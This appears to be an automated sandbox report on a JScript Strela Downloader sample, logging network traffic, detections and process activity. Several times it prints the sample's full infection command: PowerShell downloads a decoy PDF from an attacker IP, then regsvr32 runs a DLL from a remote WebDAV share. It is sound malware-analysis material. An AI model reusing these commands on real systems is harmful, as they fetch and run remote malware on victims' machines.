Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2051072555.0000019CDEDA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2123169264.0000022D73342000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2123169264.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7336F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2129247373.0000022D73318000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2119815357.0000022D7336D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D73342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2123169264.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000003.2123169264.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 00000007.00000002.2129247373.0000022D73318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sace
Source: svchost.exe, 00000009.00000002.3353953304.00000161C640F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2123994749.00000161C6210000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2472, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 219751261441155514.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1492

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6456:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4sxk0l0.ftl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 219751261441155514.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1740,i,9688315185573414080,11883463884545519196,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1740,i,9688315185573414080,11883463884545519196,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
